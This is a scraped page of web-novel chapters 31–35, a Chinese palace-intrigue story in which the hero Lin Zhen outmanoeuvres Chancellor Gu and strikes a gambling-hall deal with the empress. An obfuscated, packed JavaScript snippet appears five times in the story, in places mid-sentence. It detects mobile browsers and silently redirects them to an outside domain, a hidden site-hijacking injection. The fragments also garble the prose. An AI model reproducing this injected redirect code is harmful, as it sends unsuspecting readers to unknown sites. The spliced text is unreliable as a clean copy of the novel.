;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789163|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 毛梦极也擦了擦流到下颚的汗珠冷笑道:“呵大丈夫忠心不二至死不渝我岂会背叛丞相。” “冥顽不灵若不是顾忌大 乾江山,顾云霆早就被弄死了。” “我宁可追随丞相而去,也绝不与尔等纨绔为伍!” “好好好,那我们就再战三百回合!” “战就战,我岂会怕你!?” “住手!”众人身后传来焦急的暴喝。 谁啊,敢在这个时候叫停。 林臻隔着人群望去。 就见顾云霆穿着仙鹤紫金袍,骑着枣红马,带着十名白袍义从来到现场。 胖子挥手,龙骧营让出一条路。 顾云霆骑着马进来,劈头盖脸就是一顿痛骂。 “王胖子!你纵兵行凶,当街火并,你眼里还有王法吗?你心里还有陛下吗?老夫要去找王铁男问问,这江山到底是陛下的,还是你的!” 王胖子把刀往肩膀上一扛,满脸的不屑:“那你去问啊,跟胖爷说什么?” 毛梦极来到顾云霆马前,单膝下跪。 “末将没能完成任务,请丞相降罪。” “住口!”顾云霆脸上生气,实则心里都乐开花了。 两伙人当街械斗,还有人死伤,想来陛下此时已经知道了。 他老人家会向着谁,自是不用多说。 林臻看似占到了面子上的便宜,实则再次引起皇帝的反感,这对顾家来说,是大大的喜讯。 那笔巨款就先藏在赌场里吧,顾云霆不认为林臻能找到它。 “毛将军,本相让你来取东西,可没让你火并!谁先动的手!?” 顾云霆一个劲儿的给他使眼色,但是毛梦极硬是低头认错,没看见! “是末将先动的手。” “我” 这个大傻逼! 你这一句话不就是把矛头指向我了吗? 是我让你来械斗的? “混账!本相不许你包庇他们,你要实话实说!好好地说!”顾云霆故意把后面几个字咬得很重,意思就是你赶紧改口,把粪水攘到他们身上去。 可是向来耿直的毛梦极哪里懂这些?依旧低着头说道:“丞相,末将没有包庇,确实是我先踹了王胖子一脚。” 第31章 让你先爽到极点再死 “哈哈哈哈哈。林臻牵着张俪的手走出赌场,哈哈大笑。“顾相,你想颠倒黑白强迫一个老实人说谎,却没想到毛将军根本不屑如此! 顾云霆气得从马上跳下来,手中的马鞭借力直接抽在毛梦极的头盔上。 “砰! “额 毛梦极痛苦地低吼一声。 疼倒是不疼,但是马鞭抽在头盔上所产生的剧烈共鸣,险些把他耳朵震聋! “抬起头来!顾云霆飞了唾沫星子大喊:“本相再问你一遍,到底是谁先动的手! 毛梦极现在整个人都是懵的,就好像有一只大马蜂飞进耳朵里不停的蛰着耳蜗,根本就没听见他说什么。 顾云霆见状更是焦急,抬手又是一鞭子抽在毛梦极脑袋上。 “砰! “额!! 毛梦极身体摇晃几下,耳朵里有鲜血渗出来,却还是一句话不说。 顾云霆都要气炸了,反观林臻则是笑得非常灿烂! 什么叫偷鸡不成蚀把米? 什么叫赔了夫人又折兵? 人家毛梦极根本就不会说谎,你非要让他说谎,不说还殴打。其目的就为了往我身上泼点脏水,有意思吗? 上层人的博弈关下面小人物什么事儿?这样做只是会寒了他的心。 一个可以与冠军侯相媲美的大将军,就这么让给我了。 “老顾!够意思! 这突如其来的话让顾云霆有些懵,他不明白林臻到底什么意思。 却听见林臻故意很大声的对胖子说道。 “胖子,回去告诉京兆尹包涉,就说今天兵马使裴黔率众在大街上与顾家府兵大打出手,死伤惨重,百姓恐慌,让他酌情处理。 本来躲在人群中看热闹的兵马使裴黔听说这话,吓得直翻白眼。 大哥啊! 我TM就是一看热闹的,我招你惹你了? 你这一句话不就把我置于死地了吗? “世子!世子! 裴黔赶紧跳出人群,还没跑到近前就像足球明星玩滑铲似的跪了过来:“世子饶命啊!小的对您忠心耿耿可没做错过什么事情啊! 裴黔跪在地上,双手合十连连膜拜,点头哈腰的样子像极了那些给佛祖上香却不信佛的人。 “哦?我从没说过你有做错什么事情啊。林臻皮笑肉不笑的样子很是惊悚,裴黔越来越举得事情不对劲儿。 难道说,林臻已经知道顾相暗中收买了自己? “小的不敢了小的太也不敢了!求求世子收回成命吧!否则小人就是死路一条啊!” “你做错什么了?为什么说再也不敢了呢?” 裴黔不确定林臻是不是在炸自己。 万一不是呢? “小人真的没有做错什么!求求世子饶命啊!” “桀桀桀桀。”经典的夜猫子叫声再次来袭:“你放心我会告诉包涉让你先爽到极点再死。” “世子饶命世子饶命啊!”裴黔吓得都快尿裤子了见林臻不为所动便爬到王胖子脚底下苦苦哀求:“胖爷!胖爷小人可是为您做过不少事情的啊!您帮我求求世子吧!” “那个.大哥”胖子嘴唇动了动刚要说话就被林臻一个眼神瞪了回去。 “闭嘴!” 裴黔这个人简直让林臻恨之入骨! 甚至他比顾北辰更让林臻厌恶。 在原书中他本是寄生林家这头雄狮身上的一只不起眼的虱子全家都要靠林家而活。 林震仙死后他恩将仇报不仅没有想办法把林臻带走反而第一个带兵冲进林府将林臻抓走送给了顾北辰。 也就是林臻开局就想到的那个内鬼! 这样的人必须弄死。 这两天没腾出空来处理他现在趁这个机会刚刚好! 果然听到林臻的话吓得面无血色噗通一声呆坐在地上。 他敢肯定自己被收买的事情已经被知道了。 他绝望的看向顾云霆继而疯狂地跑过去。 “顾相!顾相救我啊!” “我把银子还给你 “滚!老夫根本就不认识你!” 林家说要弄死他连皇帝都不会管。 更别说几个月前送银子给他的顾云霆了。 林臻挥挥手:“胖子把他带走。” “是。” “胖爷.胖爷救我啊!!” “救你!?”胖子来到裴黔面前一脚踹飞他的头盔:“狗东西!定是你勾结顾家谋害我大哥!今天胖爷就亲自清理门户!” 胖子单手揪住他的头发拖着往人群外面走。 “胖爷!小的知错了!” “胖爷.世子” 声音渐渐远去林臻也吐出一口浊气。 奶奶的这个害自己成为人彘的内鬼终于除掉了。 顾云霆见林臻一副胜券在握的样子很是不爽他不管七窍流血的毛梦极面对林臻负手而 立。 “林臻,你以为陛下会听你颠倒黑白吗?你纵兵行凶,全城的百姓都看到了,这是不争的事实!” 林臻无所谓的道:“错,是你的人先动手,我们是正当防卫。这是毛将军亲口承认的!” “既然如此,我们就进宫去见陛下,看看他老人家如何决断!” “随你。” 林臻才不会怕他,慕容嫣虽然偏爱顾家,但可不是一味的纵容。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789164|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >京城内部出了这么大的事情,是个皇帝都不能忍,肯定会有惩罚降下来。 但到底如何惩罚,惩罚谁,可就不一定了。 “什么?顾家和林家当街火并?” 慕容嫣的眼睛本来就大,听到这样的消息更是险些把眼睛瞪出来:“这简直是荒谬!两大世家竟然不顾威严,卑劣到这个地步?” 嬛嬛说道:“按照百骑司回禀,是顾家家臣毛梦极带白袍义从先来到远大赌场威胁林臻,这时候王蓬,也就是那个车骑校尉王胖子带兵赶到,两伙人就打了起来。” “谁先动的手?” “毛梦极,这是他自己承认的。” “岂有此理!顾云霆是怎么教养的家臣,竟无视律法,当街火并,传他们两人进宫。” 慕容嫣话音刚落,外面就有太监禀报。 “启奏陛下,顾相与林世子在外求见。” “来得正好,宣他们进来!” “宣!” 林臻给无舌一个善意的眼神,后者也轻轻点头面带微笑。 阎王好见,小鬼难缠。 像这种能伺候皇帝的太监可都不是一般人,那都是人精,多结交结交没有坏处。 而且在原书中,无舌是个十分聪明的太监,很会审时度势,也为慕容嫣出谋划策,深得她的喜爱。 相比林臻的从容,顾云霆就显得很是气愤、急迫。 他迈步走进堂中跪拜。 “臣参见陛下。” “爱卿平身。” “谢陛下。” 林臻那是那副玩世不恭的表情对慕容嫣一拱手:“臣参见陛下。” 慕容嫣最讨厌林臻这个表情,好像根本就没把自己放在眼里。 虽然不知道毛梦极为何会那么说,但她总怀疑这件事情还是林臻惹出来的。 她暗暗压住心中的怒火,心说今天就算他说出花来,也绝不能惩罚顾家。 “两位爱卿所为何事啊?” “陛下!”顾云霆当仁不让:“臣要控告林家竖子当街行凶,打死打伤我府兵百余人,给全城百姓造成恐慌,罪无可恕!” 慕容嫣看向一脸轻松的林臻,忽然又有些不解。 难道说这次他又是胜券在握? “林臻,你有何话讲?” “回陛下,臣,无话可讲。” “嗯?” “什么?” 不只是慕容嫣,连当事人顾云霆和看热闹的嬛嬛都有些懵。 心说你不是挺能说的么,这回怎么不说了? 顾云霆心中涌起一股不好的预感。 这小子肯定憋着坏呢! 而且这个坏肯定不是毛梦极的供词,而是另有乾坤! 第32章 陛下当心!万一撑爆了怎么办? “林臻,你就没有什么想辩解的吗?” 慕容嫣同样很好奇,她万般思索也不知道林臻是什么意思。 林臻带着无奈的苦笑。 这个女人还真是光长胸不长脑子啊, “呵,既然陛下都说臣是辩解了,那臣还有什么好说的?不如将臣押入大牢,择日处死吧。” “林臻,你少来以退为进这一套,你以为朕会上你的当吗?” 顾云霆也对林臻这种小伎俩不屑一顾:“可笑!小小年纪刚学点皮毛就敢在陛下面前卖弄,你以为你是谁?” 林臻看向顾云霆的目光带着些许怜悯,其悲天悯人的样子,好像对在座的所有人都很失望:“顾相,我真没想到你是这样的人。唉,世风日下,人心不古啊.” 慕容嫣气得攥紧粉拳,双腿颤抖。 “林臻,你不要挑战朕的耐心,最好快快说来。” “陛下是皇帝,受命于天,既寿永昌。您说要处罚谁,还不是一句话的事情,是非曲直,其实也没那么重要。” “放肆!你是说朕不论黑白,一味包庇吗?” “臣不敢。” 慕容嫣指着林臻,气得白藕般柔荑微微颤抖:“林臻,朕最后再给你一次机会,说还是不说!” 人只有在恼怒的时候才容易犯错误,一味冷静只会让自己无计可施。 见慕容嫣情绪酝酿得差不多了,林臻这才准备说话。 “陛下,昨天您下旨命令顾相将远大赌场赔偿给臣,是也不是?” “是。” “陛下.”顾云霆想插嘴,但是被慕容嫣一个眼神瞪了回去。 林臻又说:“今天顾相带着全副武装的兵马来到赌场,暂且不论他的目的,这件事全城百姓有目共睹,百骑司也应该向您禀报过,是也不是?” “嘶是。”慕容嫣深吸一口气,隐隐感觉事情有些不对劲。 林臻继续说:“有人禀报城防兵马司说朱雀大街有人闹事,兵马使裴黔带兵赶来,却没想到毛梦极率先发难,袭击兵马司。兵马司将士被迫还击,最后把毛梦极带来的人全部抓起来,这也是事实吧?” 慕容嫣咬牙:“是。” “那顾相刚才说我带兵闹事,给全城百姓造成恐慌,是不是无稽之谈?” “是”慕容嫣刚要说话,就立刻改口:“不对!” 林臻笑着摊开手:“哪里不对?” “.” 慕容嫣也不知道哪里不对,可按照林臻这么说,他根本一点错 也没有啊。 不可能! 绝对不可能! 林臻在这件事情当中的作用绝不会像他说的那么轻松。 这案子不能这么判! “一派胡言!顾云霆焦急地辩解道:“老夫让毛梦极带人去赌场是去搬东西的,不是去打架的!还有,带兵马司来的人是王蓬,根本就不是裴黔! 想拿小人物顶缸,门都没有! 顾云霆看向慕容嫣:“陛下,您可千万不能被这小子的一面之词给骗了啊! 慕容嫣蹙眉问道:“林臻,你竟敢欺君!? “陛下,臣不敢欺君,臣说的句句属实,带兵马司来的人就是兵马使裴黔,胖子身为兵马司车骑校尉当然要混在其中了。 林臻这话说的一点毛病没有。 但是个人都知道,兵马使裴黔只是个小吏,连给王胖子舔鞋的资格都没有。 整个兵马司,乃至整个京城的卫队就是胖子的一言堂。 当然,这份权力也是林震仙赋予他的。 慕容嫣知道其中关节,但就是没办法辩驳林臻的话。 气死朕了。 林臻这嘴到底是怎么长得啊?这么能诡辩! 慕容嫣坐在龙椅上,气得胸脯不断起伏。 嬛嬛都担心她的裹胸会不会被撑爆。 万一像猪吹捧似的爆开,那陛下的身份不就暴露了嘛! 陛下啊,您以后可得控制控制饮食,否则那地方越长越大,束胸都快兜不住了! 林臻像辩论赛最佳辩手似的,根本不给他们提问的机会。 “至于顾相说毛梦极是来搬东西的,那为什么就和兵马司打起来了呢?再说,你家是没有仆役了,还是城中没有力工了?搬家需要用士兵吗? 林臻一连串问题,问得顾云霆哑口无言! 就像打哈切的时候吃进去一个苍蝇,又恶心又吐不出来,急得血压飙升。 林臻冷笑道:“呵,我倒要看看,你怎么和陛下解释这件事。 慕容嫣自从惩罚了顾家之后,已经暗暗下定决心要和顾家同一阵线,所以她并没有对顾云霆发怒,只是淡淡的说道。 “顾相,朕听你解释。 “陛下,臣豢养府兵这件事情是先帝特批,更是得到了您的允许,而且臣的府兵没有超标。今日,臣家中人手不够,所以才让毛梦极带兵去赌场的。 林臻瞪着眼睛厉声追问:“那为何会与兵马司的人打起来!?难不成你要造反!? “ 你血口喷人!分明是兵马司的人先动的手!” “兵马司代表着朝廷权威,有治安执法权,任何反抗者都罪同谋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789165|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反!你们打死打伤兵马司数人,这血淋淋的事实你如何抵赖?” “我陛下!臣冤枉啊!” 顾云霆直接就给慕容嫣跪了下去。 他现在终于明白了,自己根本说不过林臻。 这小赤佬的一张嘴能把死人说得从棺材板里坐起来。 在这一刻,他不再小看林臻,而是把他当成了自己的头号大敌。 “顾相不必如此,朕知你心意。” “陛下英明!”顾云霆磕了个头站起来,继续对林臻喊道。 “林臻,黑就是黑,白就是白!你今天就是说出花来也没用!不服气我们就把案子交给大理寺!让宋大人处理!” “顾相,公道自在人心。赌场是我的,那里面的人、东西,也都是我的。你丝毫不跟我商量,直接带兵来抢,已是湮灭律法,蔑视皇权。后又纵兵殴打兵马司,罪同谋反,现在你还敢跟本世子提大理寺!怎么?宋毅是你的人?” “你不要血口喷人!当朝官员都是陛下的臣子,哪有我的人?” “那谷中满贪污抚恤,为何至今没有处理!” 林臻这句话实则是对慕容嫣说的,意思就是你这个皇帝为何包庇犯错的官员。 “够了!”慕容嫣一拍龙案,厉声喝道:“朕心中也有决断!” 嬛嬛担心慕容嫣一气之下又惩罚了顾家,连忙碰了碰她的手臂。 慕容嫣头也没回,但心里清楚。 “林臻,裴黔和王蓬都是你的人,此事满朝文武尽人皆知。现在人你也打了,便宜你也占了,休要得理不饶人!拟旨,兵马使裴黔带兵聚众闹事,目无王法,满门抄斩!毛梦极剥去官爵,贬为庶民。” 各打五十大板。 对于皇帝的一贯招数,林臻并不惊奇,只是将裴黔家满门抄斩实在有点过了,满门凌迟才算符合他的身份。 慕容嫣说道:“林臻,你不许再得理不饶人!小小年纪要学会为国效力,为百姓谋福,天天在这使坏有什么用?令你罚俸一年,以儆效尤!” 啥玩意? 罚俸一年? 你不知道我林家就靠这点俸禄活着呢啊? 林臻正要狡辩,就见慕容嫣继续说道:“顾相,以后你也不要这么莽撞,哪有带兵搬东西的?回去点齐家丁,把赌场里本属于你的东西搬走吧。” 啊? 怎么滴? 这娘们是不是有病啊? 罚我不罚他,还让他把赌场里的东西搬走。 看来她也意识到赌场里有什么天大的秘密。 好啊,既然如此,你们可别怪我使出杀手锏了! 第33章 大美女慕容嫣气得直打摆子 慕容嫣说完这句话便得意洋洋的昂起头。 总算是让朕扳回一局。 林臻啊林臻,幸好朕今天对你的话不为所动,否则你怎会有这副吃屎的表情呢。 嬛嬛更是骄傲的像个白天鹅,一副看热闹不嫌事儿大的表情。 顾云霆把嘴咧的跟八万似的,转过头挑衅地扬了扬眉毛,表情都能发语音了:“来啊,你不是能说么?继续说啊!看陛下向着谁! 林臻都快被这两个人气笑了。 不知道的还以为她们俩占了多大便宜呢。 况且慕容嫣身为皇帝,神气些还情有可原,你一个五十出头的老B登跟着掺和什么劲儿啊? “臣遵旨。 “嗯?顾云霆心里咯噔一下! 如果林臻反复狡辩、不同意,他还觉得正常。 可是这小子竟然一口答应了! 不对! 有问题! 绝对有问题! 要知道林臻今天宁可带兵和毛梦极当街火并,也不允许他跨入赌场一步。 这怎么慕容嫣一说就立刻答应了呢? 尊重皇权? 屁! 林家要是尊重皇权就不可能有今天。 慕容嫣也对林臻的回答会有些狐疑,她往前躬了躬身子,正定地说道:“林臻,你可知道欺君的后果? “臣万万不敢欺君。既然答应了,就绝不会反悔,赌场里的东西可以让顾相拿走。 言罢林臻看向顾云霆,满脸的不怀好意:“顾相,明天正午,我的人会全部撤出赌场,到时候欢迎你来搬家。 顾云霆看林臻的表情就知道这里面肯定有事儿,但他又想不太明白这小子会从何处下手。 难道说他打算半夜把地下钱庄里的钱搬走? 不可能啊,他根本不知道钱藏在哪。 再说,就算他知道,一夜之间也不可能搬得完。 也罢,反正自己今天的目的也达到了,只要财宝不丢,一切可控。 大不了回头问问陛下,晚上派人监视赌场也就是了。 于是乎,顾云霆像慕容嫣作揖:“陛下,既然林世子答应得这么爽快,微臣也不是拖拉的人,这就回去点齐仆役,先行告退。 慕容嫣点点头:“也好,顾相请回吧。 “谢陛下。 顾云霆转身的瞬间用右手的食指和中指,指了指自己的眼睛,然后又指了指林臻。 那意思就是:你小心点,我会一直盯着你 的。 林臻笑着点头,目送他离开。 见林臻还在这,慕容嫣问道:“林臻,你还有何事?” 林臻笑着说:“臣有个请求不知道陛下能否答应。” “有话就说,朕没时间陪你耽误工夫。” 话虽如此,其实慕容嫣早就想好了,等下林臻不管说什么,她都不会答应。 此人就像一条黄鳝,有个洞就钻! “臣想和陛下做一笔生意。” “生意?”慕容嫣有些惊奇。 士农工商,商人的地位是最低的,林家人向来不屑与商贾来往。 尤其是林震仙,宁可穷得屁股上挂铃铛——叮铛直响,也不愿意赚商贾一分钱,高风亮节得很。 这林臻是怎么了呢? “朕不会做生意。” “不会臣可以教您啊,这生意其实很简单。陛下什么都不用出,只需要动动手写一封圣旨,每个月就能赚万两白银。” 林臻特意往前走了几步,故意压低声音彰显神秘感。 “而且不是税款,而是陛下个人的小金库!” “朕个人的?”此话一出慕容嫣就有些动心了。 她现在穷得要死。 别看前几日顾家送来那么多财富,但根本不经花。 如果还能有其他的收入来源那再好不过。 但她可不是刘书瑶那种为了爱情什么都不顾的傻女人,她有自己的底线。 “你不会是让朕卖官吧?” “陛下放心,有害江山社稷的事情臣是不会做的。这件事情又简单,又赚钱,而且没有任何风险。” 知道剧情的林臻对大乾市场很了解。 真正富得流油的是顾家一派的官员还有底层那些不起眼的商贾。 尤其是商贾,三十税一,跟不交税没区别。 反观慕容嫣就是个大穷鬼。 大乾朝廷根本没有自己的产业,所以也就没有自己的收入,就连给丫鬟太监以及百骑司发的饷钱都是从国库里出,就这还偶尔拖欠一两个月。 慕容嫣想培养自己的人,修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789166|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缮自己的宫殿等等这些都需要钱,所以说她现在想钱都快想疯了。 慕容嫣微微有些动心,咽了口香津说道:“林臻,你到底要干什么?” “陛下昨天赏赐给臣一家赌场嘛~那我们就一起靠这间赌场赚钱如何?” “说详细点。” “臣需要陛下给一道圣旨,并且昭告天下,就说英雄赌场将于下个月初九举行赌 王争霸赛,拔得头筹的人将由朝廷亲自敕封赌王!” “赌王!?” 不仅仅是慕容嫣,连她身边的嬛嬛和无舌都是张大嘴巴。 这不疯了吗? 放眼全华夏,哪个国家也不会封这么个王爷出来啊! 慕容嫣气得直打摆子,粉嫩嫩的手指指着林臻,懊恼的喊道:“林臻!你当朕的江山是什么?你当大乾的贵族是什么?王爷之位岂能说封就封,如此儿戏!” “陛下息怒。”林臻就知道慕容嫣会是这个样子,所以早就准备好了说辞。 “陛下,这个赌王,不是王侯的王,而是个没有任何权力和福利的虚名而已,就像江湖上自封的那些猫王,野王,海王一样。只不过这个王,就由朝廷承认并且颁发的而已。” “赌王的名头或许会给他们一定的名望,但却没有实际利益。” “此计对陛下来讲只是一道微不足道的圣旨而已,但对皇家来讲,却是每个月一万两银子的收入!臣猜想,就算顾相把查抄的家产运进皇宫,对于您来说也是杯水车薪吧?毕竟宫里需要花钱的地方太多了。” 没错,林臻的话直接抓住了慕容嫣的命脉。 她实在是太缺钱了。 顾云霆刚把三十万两银子运进来,就立刻花掉五万,以补齐拖欠太监宫女的月例。 剩下的二十万也只够养活他们两年,可是这么多钱总不能都用来养太监吧? 自己又不是汉灵帝。 而且这还不算供养百骑司,如果算上他们花销将会更大。 去年慕容嫣偷偷成立百骑司,就是想用他们来监督百官,好让自己得到第一手情报。 可就是因为没钱,直到现在也进展缓慢。 每个月一万两,这对慕容嫣来说无异于雪中送炭,可是如果就这样稀里糊涂地封了个王,她又心有不甘,一时间竟纠结起来。 第34章 赶紧把这玩意解开,勒死朕了 林臻稳稳地站在堂中等候,丝毫不急。 因为他有绝对的把握。 现在的慕容嫣缺钱都快缺疯了,没理由会放过这每月一万两银子的收入。 此时的慕容嫣还处在天人交战之中。 封赌王,虽然会招来别国的嘲笑,但利益却是实打实的。 每月一万两啊! 一年就是十二万两,有了这笔钱,百骑司就能正常运作起来,到时候所有百官都在自己的监视之下。 可这样的王爷百官能信服吗?会不会有人上表弹劾,会不会有官员反对? 一切的一切都是未知数。 林臻知道她在纠结什么,于是又说道:“陛下,正所谓富贵险中求,每月一万两,可以做多少事情?与之相比,别国的嘲笑算什么,百官的反对又算什么?” 慕容嫣突然觉得林臻说的很有道理。 皇家已经快到山穷水尽的地步了,再这么端着,以后恐怕就得吃糠咽菜了。 于是她清咳两声说道:“咳咳,林臻,你确定每月能有一万两银子?” “臣确定,如果没有,臣自己想办法补上。” “看你这副胸有成竹的样子,朕就知道这个赌场的收入肯定不止一万。不行,朕不答应。” 啊? 林臻心说这慕容嫣变聪明了啊。 原书里这娘们不是个恋爱脑,傻白甜么? 看林臻惊讶的表情慕容嫣就知道自己的计策成功了,她带着几分得意的笑。 “咯咯咯咯,小小伎俩也敢妄想骗朕!林臻,你听好了,朕要你收入的五成,否则此事免谈。” 草。 没谈恋爱的女人智商就是高啊。 可是你智商高归智商高,你别没事琢磨我行不行? 实在不行找个牢坐。 林臻连连摆手:“别别别,陛下,我们还能商量商量吗?” “不能!” 慕容嫣态度十分坚决,她就是看准了林臻每个月的收入绝对不止一万。 林臻没办法,只好装模作样地叹了口气,说道:“唉那好吧,此事就此作罢,臣这就回去把赌场关了。” 慕容嫣:? 你好歹还个价啊! 做生意不得讲究个有来有回吗? 她说五成就是想给林臻一个讨价还价的余地,谁成想这孙子扭头就走! 哎哎哎! 怎么真走了啊? 这下慕容嫣可真着急了,就像林臻说的,每个月一万两不是小数目,能 做很多事情,最起码以后不会再拖欠公务员工资,甚至还有剩余来买些东西,养养鹰犬。 “站住! 林臻没站住,慕容嫣反倒站起来了。 “林臻! “陛下.林臻十分为难地站住脚,半扭过头的说道:“一万两已经是臣的极限了啊.唉。 林臻再次拿出自己小金人般的演技,又是叹息又是怜惜,把慕容嫣唬得一愣一愣的。 难不成,自己真要多了? 慕容嫣比出两根手指:“一口价两万。 “一万,多一两都没有。 “你慕容嫣气得话都说不利索了。 而林臻却在心里暗暗鄙视。 既舍不得一万两,又舍不得写圣旨。 世间好事怎么可能都让你占了呢? 皇帝多鸡毛啊? 哦对,她没有鸡毛。 难怪呢~ 嘿嘿~嘿嘿嘿~嘿嘿嘿嘿~ 慕容嫣最后气的没办法,像泄了气的皮球那般坐回龙椅,头也不抬地说道:“每月一万两,朕答应你。 “好,陛下一言九鼎!请您现在写下圣旨,下个月月末,臣会送来一万两银子的分红。 “来人,笔墨伺候。 无舌立刻端来黄绸,嬛嬛研磨,很快慕容嫣就拿起狼毫龙飞凤舞的写下一段话,最后由无舌亲自呈给林臻。 林臻没打开,量慕容嫣也不敢耍花招,最后对她作揖行礼。 “多谢陛下,臣这就去办事了。 “赶紧滚! 说完慕容嫣就气鼓鼓的回到后堂。 她感觉自己今天吃了很大很大的亏,气得直接将龙冠摔在梳妆台上。 “砰! 嬛嬛立刻劝慰:“陛下莫恼,当心龙体啊。 “真是岂有此理!明明很赚钱的买卖,林臻却只分给朕一万两,他当朕是叫花子吗? “陛下息怒,奴婢觉得,一个小小的赌场应该赚不到一万两吧? “嗯?慕容嫣猛然回头,水汪汪的眼睛里满是杀气:“你的意思是林臻欺君? 嬛嬛倒是不怕,只躬身说道:“这间赌场本是顾相家的产业,可就算是在顾相与顾院判联手经营下,每个月上缴的税款也不过才七八百两,他林臻凭什么一个月送来一万两呢? 对啊! 就连顾云霆和顾北辰那样聪慧的天之骄子都没办法赚到一万两,他一个纨绔凭什么? “如果一个月后林臻送不 来一万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789167|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两,朕就可以用欺君的罪名惩治他,到时候就算是林震仙想保也难堵悠悠之口!” 慕容嫣感觉自己抓到了林臻的小辫子,又换上一张开心的脸说道:“好你个小妮子,还真是机敏!” “嘻嘻嘻,都是陛下栽培的好嘛。” “就你嘴甜。”慕容嫣翻了个白眼,“来,赶紧把这玩意解开,勒死朕了。” 厚重的龙袍解开,露出两朵洁白香肩,肌肤晶莹玉透,滑嫩粉红;翩翩长发下是绣着牡丹的束胸,层叠紧绷,微微臌胀。 嬛嬛走到她身后取下几颗银针。 “砰!” 也不知道是什么少儿不宜,色情低俗的东西就跳了出来,悬挂在小腹之上。 慕容嫣松了口气,这才感觉舒服许多,嬛嬛在身后笑道:“嘻嘻嘻,陛下的身材可真是羡煞奴婢了呢。” “好啊你,竟敢拿朕打趣!” “奴婢知错了嘛,可是奴婢也真的很好奇,到底是谁才能得到陛下的青睐,拥有您的龙体呢?” “唉。”慕容嫣本来高高兴兴的又叹了口气。 “自从当了皇帝,哪里还能奢望这些儿女情长?罢了,不提了。朕倒是觉得北辰昨天有些不对劲,顾家那边有消息传来吗?” 两人几乎不谋而合,都在这一刻想到了顾北辰。 只不过慕容嫣对顾北辰更多的是器重,而非男女之情,但嬛嬛想的可就没那么单纯了。 她迫切希望顾北辰可以成为陛下的夫君,那样自己也就被一起收纳。 到时候陛下躺左边,我躺右边~ 或者陛下和辰辰躺在床上,我给他们扇风驱蚊,掌灯吹烛。 反正只要是能陪在辰辰身边,做什么都可以呢! 慕容嫣见嬛嬛神游天外,没好气地在她大腿上掐了一把! “哎呀!”嬛嬛疼得立刻跳开。 “小妮子,是不是偷偷思春呢?连朕的话也敢不回答!” “奴婢不敢.” “不敢?那你说说,朕刚才说什么了?” “我奴婢知错了。” 慕容嫣看嬛嬛委屈巴巴的样子,倒也没真生气,又重复了一遍刚才的话,嬛嬛这才摇头道。 “没有,刚刚顾相也没说什么呀,但奴婢觉得这里面肯定有猫腻。” “朕也这么觉得,北辰再怎么样也不可能那么色急,竟敢当着朕的面强暴丫鬟。” “他会不会是中毒了呀?” “你让百骑司去查查,有什么消息立刻来报。” “是!” 第35章 可惜那两个丫鬟了呢。 顾云霆显然心情极好。 当街火并的事情皇帝并没有追究还命令林臻打开赌场让自己进去搬东西。 也不知道林臻眼睁睁看着自己把一箱箱财宝从赌场里搬走会是什么表情。 他肯定比吃了苍蝇还难受吧? 他肯定会后悔死今天的决定吧? “哈哈哈哈。”顾云霆想着想着便开怀大笑。 跨进院子门 也罢看陛下今天的作态肯定已经察觉到儿子有问题了。 不说就不说君臣俩心照不宣才是最高境界。 院子里很安静连吹过花草的风都停止了喧闹一般 顾云霆来到石桌前坐下顾北辰也不理会也不倒茶眼神淡然地看着围墙花草。 “可让大夫瞧过了?” 当爹的先问顾北辰这才收回思绪点点头:“嗯大夫说孩儿并无大碍休养几日便可。让父亲担心了。” 